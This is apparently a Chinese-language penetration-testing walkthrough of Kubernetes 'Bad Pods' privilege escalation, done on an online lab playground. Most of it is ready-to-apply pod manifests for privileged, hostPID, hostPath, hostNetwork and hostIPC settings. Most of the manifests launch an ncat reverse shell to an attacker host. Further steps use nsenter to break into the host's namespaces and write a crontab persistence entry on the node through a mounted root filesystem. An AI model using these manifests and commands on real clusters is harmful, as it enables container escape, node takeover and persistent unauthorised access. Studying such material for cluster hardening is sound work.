在线靶机
https://killercoda.com/kubernetes/scenario/a-playground
先决条件
- 能够访问到集群
- 有在至少一个命名空间中创建以下资源类型之一的RBAC权限:
- CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
- 进入pod执行命令的RBAC权限或允许pod的反向shell到达您的网络策略。
- 没有强制执行pod安全策略,或者允许创建具有一个或多个安全敏感属性的pod的策略。
允许所有
创建Pod对象的YAML 配置文件
- 该Pod对象名称 everything-allowed-revshell-pod;标签为 app: pentest;
- 使用了宿主机(Node)的hostNetwork、hostPID、hostIPC(使用宿主机的 hostNetwork 会使 Pod 中的容器使用 Node 上的网络命名空间,这将使容器绕过 Kubernetes 的网络隔离措施,容器将能够与 Node 上的其他容器或 Pod 直接通信。使用 hostPID 选项允许容器使用 Node 上进程的 PID 命名空间,这意味着容器可以查看和操作 Node 上的所有进程。使用 hostIPC 选项允许容器使用 Node 的 IPC(进程间通信)命名空间,这意味着容器可以查看和操作 Node 上的所有 IPC 对象);
- 启动的容器镜像名称 everything-allowed-pod,使用了 raesene/ncat 镜像并执行命令
ncat --ssl $HOST $PORT -e /bin/bash;
; - 该容器被授予了特权模式 (privileged: true),容器运行时会拥有宿主机的权限;容器挂载了名为 noderoot 的卷,将宿主机(Node)的根目录(/)挂载到了容器(Pod)的 /host 目录下,使得容器可以访问宿主机的文件系统。
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-revshell-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
#nodeName: k8s-control-plane-node
volumes:
- name: noderoot
hostPath:
path: /
yaml中有一行注释#nodeName: k8s-control-plane-node
,通过取消注释,并将 k8s-control-plane-node 更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。
根据配置文件创建Pod
kubectl apply -f BadPod.yaml
kubectl get pods
Pod成功创建并运行
攻击端监听并收到shell,此时已经获取到Pod权限
ncat --ssl -vlp 1234
访问 /host 目录便可进入到宿主机的根目录
往宿主机中写入计划任务获取宿主机(Node)的shell (不知道是啥原因,shell一直没弹回来,这里就执行ping命令) DNSLOG平台: https://www.dddd.cam/
echo "* * * * * root ping -c 1 2sozz.log.cve.ink" >> /host/etc/crontab
cat /host/etc/crontab
接收到数据,说明计划任务成功执行
删除Pod
kubectl delete pod everything-allowed-revshell-pod
目前获取了Pod和Node权限,还能进一步利用,等我下篇文章。
只允许Privileged+hostPid
创建Pod对象的YAML 配置文件
容器中设置了 hostPID 为 true,表示容器内进程使用的是宿主机的 PID 命名空间,还设置了 securityContext 的 privileged 为 true,表示容器运行时会拥有宿主机的权限,容器启动时执行了命令nsenter --target 1 --mount --uts --ipc --net --pid -- bash
,命令意思是: 在容器内部运行的 nsenter 命令将容器加入到宿主机的 PID、mount、UTS、IPC、network 和 PID 命名空间中,以便于容器能够访问宿主机的进程、文件系统、网络等资源。
apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node
创建Pod,检查Pod,
kubectl apply -f BadPod.yaml
kubectl get pods
进入Pod Shell
kubectl exec -it priv-and-hostpid-exec-pod -- bash
在Pod的Shell中执行top命令可发现一些敏感进程,说明容器能够访问宿主机的进程、文件系统、网络等资源
若只允许Privileged,进入Pod的Shell中,则top命令执行结果如下
相关Pod如下
apiVersion: v1
kind: Pod
metadata:
name: priv-exec-pod
labels:
app: pentest
spec:
containers:
- name: priv-pod
image: ubuntu
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
#nodeName: k8s-control-plane-node
删除Pod
kubectl delete pod priv-and-hostpid-exec-pod
目前获取了Pod权限和Node部分权限,还能进一步利用,等我下篇文章。
只允许Privileged
设置了 securityContext 的 privileged 为 true,表示容器运行时会拥有宿主机的权限。
apiVersion: v1
kind: Pod
metadata:
name: priv-revshell-pod
labels:
app: pentest
spec:
containers:
- name: priv-pod
image: raesene/ncat
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
#nodeName: k8s-control-plane-node
创建Pod,检查Pod,攻击端NC监听端口
kubectl apply -f BadPod.yaml
kubectl get pods
ncat --ssl -vlp 1234
删除Pod
kubectl delete pod priv-exec-pod
目前只获取了Pod权限,还能进一步利用,等我下篇文章。
只允许hostPath
反弹shell并将宿主机(Node)的根目录(/)挂载到了容器(Pod)的 /host 目录下,使得容器可以访问宿主机的文件系统。
apiVersion: v1
kind: Pod
metadata:
name: hostpath-revshell-pod
labels:
app: pentest
spec:
containers:
- name: hostpath-revshell-pod
image: raesene/ncat
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
#nodeName: k8s-control-plane-node
volumes:
- name: noderoot
hostPath:
path: /
过程和前几个一样~
操作完毕后只获取了Pod权限和访问Node文件系统的权限,还能进一步利用,等我下篇文章。
只允许hostPid
hostPID: true 表示容器将共享宿主机的 PID 命名空间,也就是说容器内的进程与宿主机上的进程在同一个命名空间中运行。
apiVersion: v1
kind: Pod
metadata:
name: hostpid-revshell-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: hostpid-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
#nodeName: k8s-control-plane-node
创建完毕后只获取了Pod权限和共享宿主机的 PID 命名空间,还能进一步利用,等我下篇文章。。
只允许hostNetwork
hostNetwork: true 表示该容器将直接使用宿主机的网络命名空间,而不是一个独立的网络命名空间。这意味着该容器可以直接访问宿主机的网络资源。
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
containers:
- name: hostnetwork-pod
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
#nodeName: k8s-control-plane-node
创建完毕后只获取了Pod权限和使用宿主机的网络命名空间,还能进一步利用,等我下篇文章。
只允许hostIPC
hostIPC: true 表示该容器将使用宿主机的 IPC命名空间。这允许容器与主机上的其他进程进行通信。
apiVersion: v1
kind: Pod
metadata:
name: hostipc-revshell-pod
labels:
app: pentest
spec:
hostIPC: true
containers:
- name: hostipc
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
#nodeName: k8s-control-plane-node
创建完毕后只获取了Pod权限和使用宿主机的 IPC命名空间,还能进一步利用,等我下篇文章。
无允许
啥都没,就一个光秃秃的Pod。
apiVersion: v1
kind: Pod
metadata:
name: nothing-allowed-revshell-pod
labels:
app: pentest
spec:
containers:
- name: nothing-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
#nodeName: k8s-control-plane-node
创建完毕后只获取了Pod权限,还能进一步利用,等我下篇文章。